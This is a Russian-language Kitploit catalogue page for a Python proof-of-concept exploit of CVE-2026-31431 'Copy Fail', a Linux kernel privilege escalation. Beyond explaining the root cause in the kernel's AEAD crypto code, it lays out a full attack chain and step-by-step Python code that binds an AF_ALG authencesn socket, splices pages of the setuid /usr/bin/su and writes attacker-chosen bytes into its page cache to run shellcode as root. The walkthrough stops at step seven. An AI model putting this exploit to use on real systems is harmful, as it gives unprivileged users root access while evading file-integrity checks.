Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-31431-python-copyfail-POC — Эксплойт на Python для CVE-2026-31431 — повышение привилегий в ядре Linux через повреждение page cache у setuid-бинарников, позволяющее получить root-доступ. | Kitploit
Инструменты/GitHubGitHub/julichaan/cve-2026-31431-python-copyfail-poc
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеRed TeamingЭксплуатация Бинарных Файлов
GitHub

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
julichaan/cve-2026-31431-python-copyfail-poc

CVE-2026-31431-python-copyfail-POC

Эксплойт на Python для CVE-2026-31431 — повышение привилегий в ядре Linux через повреждение page cache у setuid-бинарников, позволяющее получить root-доступ.

Репозиторий
295 месяцев назадЕщё не проверено

CVE-2026-31431: Copy Fail — повышение привилегий в ядре Linux

Copy Fail (CVE-2026-31431) — это критическая логическая ошибка в криптографической подсистеме ядра Linux, которая позволяет непривилегированным пользователям получить повышение привилегий до root. Уязвимость затрагивает ядра Linux версий 6.0.0 — 6.18.x во всех основных дистрибутивах.

Этот репозиторий содержит реальный эксплойт, который вызывает уязвимость путём повреждения страничного кэша setuid-бинарников и выполнения произвольного кода с привилегиями root.


Что такое Copy Fail?

Copy Fail — это логическая ошибка, которая позволяет непривилегированным пользователям записывать произвольные 4-байтовые фрагменты непосредственно в страничный кэш ядра любого читаемого файла в системе, включая setuid-бинарники.

Ключевые характеристики:

  • Детерминированность: не требуются гонки или временные окна
  • Переносимость: один и тот же эксплойт работает во всех уязвимых дистрибутивах (Ubuntu, RHEL, Amazon Linux, SUSE)
  • Скрытность: файлы на диске никогда не изменяются; повреждается только страничный кэш в памяти
  • Контейнеризация: обходит границы контейнеров, поскольку страничный кэш является общим для хоста
  • Простота: требует только Python 3.10+ и модули стандартной библиотеки

Технические детали

Корневая причина: операции AEAD на месте

Уязвимость проистекает из оптимизации 2017 года в algif_aead.c (коммит 72548b093ee3), которая изменила операции AEAD с внешних (out-of-place) на внутренние (in-place):

До (безопасно — 2015):

TX Scatterlist (вход)  ← TX буфер (данные пользователя из файла)
RX Scatterlist (выход) ← RX буфер (область вывода пользователя)
                          
Раздельные scatterlist = страницы страничного кэша доступны только для чтения

После (уязвимо — 2017):

Объединённый Scatterlist:
[ RX буфер ] [ Страницы страничного кэша, связанные через sg_chain() ]
↑                ↑
req->src = src   req->dst = dst  (ОДИН И ТОТ ЖЕ scatterlist)

Страницы страничного кэша теперь находятся в ЗАПИСЫВАЕМОМ scatterlist!

Объединённый scatterlist выглядит так:

[AAD + Шифротекст из RX буфера] || [Тег из страничного кэша /usr/bin/su]
                                  ↑
                                  Граница
                                  (authencesn записывает ЗА эту точку)

Триггер: запись в scratch-область алгоритма authencesn

Алгоритм authencesn — это обёртка AEAD, используемая IPsec для расширенных порядковых номеров (ESN). Он выполняет вычисление HMAC, но ему необходимо переупорядочить байты внутри AAD (аутентифицированных сопутствующих данных).

В коде ядра (crypto/authenc.c) при расшифровке:

scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);           // чтение байтов AAD 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);           // временно: перезапись dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1);  // ← КЛЮЧЕВАЯ СТРОКА
                                                        // запись 4 байтов в dst[assoclen+cryptlen]

Проблема: третья запись происходит по смещению assoclen + cryptlen. В уязвимом внутреннем (in-place) пути:

  • Обычный случай: это смещение находится в пределах RX буфера пользователя (безвредно)
  • Уязвимый случай: это смещение находится за пределами буфера пользователя и попадает в связанные страницы страничного кэша (КРИТИЧНО)

Ядро рассматривает эту позицию как «расходуемое scratch-пространство» и записывает туда значение навсегда. Исходные байты в этой позиции страничного кэша теряются безвозвратно.

Цепочка атаки

1. Атакующий открывает AF_ALG сокет → привязывает к authencesn(hmac(sha256),cbc(aes))
   (Привилегии не требуются; AF_ALG доступен непривилегированным пользователям по умолчанию)

2. Атакующий открывает целевой файл: /usr/bin/su (setuid-root бинарник)

3. Атакующий использует splice() для доставки страниц страничного кэша /usr/bin/su
   в AF_ALG сокет в качестве «шифротекста» и «тега»
   
4. Атакующий отправляет sendmsg() с AAD, содержащим:
   - Байты 0-3: заполнение
   - Байты 4-7: seqno_lo = 4-байтовое значение для записи (контролируется атакующим)
   - Байты 8+: заполнение

5. Атакующий вызывает recvmsg(), который запускает операцию расшифровки AEAD
   
   Внутри расшифровки authencesn в пространстве ядра:
   a) Ядро читает байты AAD 0-7
   b) Ядро записывает seqno_hi в dst[4..7] (временно, затем восстанавливает)
   c) Ядро записывает seqno_lo в dst[assoclen + cryptlen]
      ↓
      ЭТА ЗАПИСЬ ПЕРЕСЕКАЕТ ГРАНИЦУ ИЗ БУФЕРА ПОЛЬЗОВАТЕЛЯ В СТРАНИЦЫ СТРАНИЧНОГО КЭША
      ↓
      4-байтовая запись в страничный кэш /usr/bin/su происходит ЗДЕСЬ
   d) Ядро вычисляет HMAC (проверка не проходит — шифротекст сфабрикован)
   e) recvmsg() возвращает ошибку
   
   НО: 4-байтовая запись УЖЕ СОХРАНЯЕТСЯ в страничном кэше

6. Атакующий повторяет шаги 2-5 для каждого 4-байтового фрагмента шеллкода

7. Атакующий выполняет /usr/bin/su
   - Ядро загружает бинарник из СТРАНИЧНОГО КЭША (который теперь содержит шеллкод)
   - Бинарник является setuid-root
   - Шеллкод выполняется с UID=0
   - Атакующий получает доступ root

Почему это работает

АспектОбъяснение
Без сбоевОперация завершается с точки зрения ядра
ДетерминированностьНет гонок; синхронно и надёжно
ПостоянствоПовреждение страничного кэша сохраняется даже после ошибки recvmsg()
НевидимостьФайл на диске не тронут; стандартные инструменты целостности ничего не обнаруживают
УниверсальностьОдин и тот же код работает во всех дистрибутивах; не требуются смещения для каждого дистрибутива
ПереносимостьРаботает на архитектурах x86-64 и ARM64

Эксплойт: пошагово

Шаг 1: Настройка сокета

sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)  # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0]  # Сокет запроса для операций AEAD

Создайте AF_ALG сокет, привязанный к шаблону AEAD authencesn.

Шаг 2: Открытие целевого бинарника

target_fd = os.open("/usr/bin/su", os.O_RDONLY)

Откройте setuid-бинарник, который будет повреждён. Подходит любой читаемый файл, но setuid-бинарники выбираются для повышения привилегий.

Шаг 3: Создание канала для splice

pipe_rd, pipe_wr = os.pipe()

Создайте канал, который будет действовать как посредник для операций splice(). Буферы канала будут содержать ссылки на страницы страничного кэша.

Шаг 4: Передача файла в канал через splice

os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)

Используйте splice() для передачи cryptlen байтов из /usr/bin/su, начиная с write_offset, в канал.

Почему это важно: splice() передаёт данные между файловыми дескрипторами без копирования. Он передаёт прямые ссылки на страницы страничного кэша ядра. Эти страницы остаются во внутренней буферной структуре канала.

Шаг 5: Формирование параметров AEAD

assoclen = 8          # Длина AAD: байты 0-7
cryptlen = 32         # Длина шифротекста (== вывод HMAC-SHA256)
authsize = 32         # Длина тега
write_offset = 0x2000 # Смещение в /usr/bin/su для записи

aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)

AAD (аутентифицированные сопутствующие данные) содержит:

  • Байты 0-3: Заполнение
  • Байты 4-7: 4-байтовое значение для записи (seqno_lo) ← Контролируется атакующим
  • Остальное: Заполнение

Алгоритм authencesn будет использовать байты 4-7 этого AAD в своей scratch-записи.

Шаг 6: Отправка AAD

req_sock.sendmsg([aad], [], socket.MSG_MORE)

Отправьте AAD в AF_ALG сокет. Флаг MSG_MORE указывает, что шифротекст/тег последуют далее.

Шаг 7: Передача шифротекста+тега в сокет через splice

os.splice(pipe_rd, req_sock.fileno(), cryptlen)

Передайте страницы страничного кэша из канала в AF_ALG сокет. Теперь scatterlist ядра содержит:

Скачать инструмент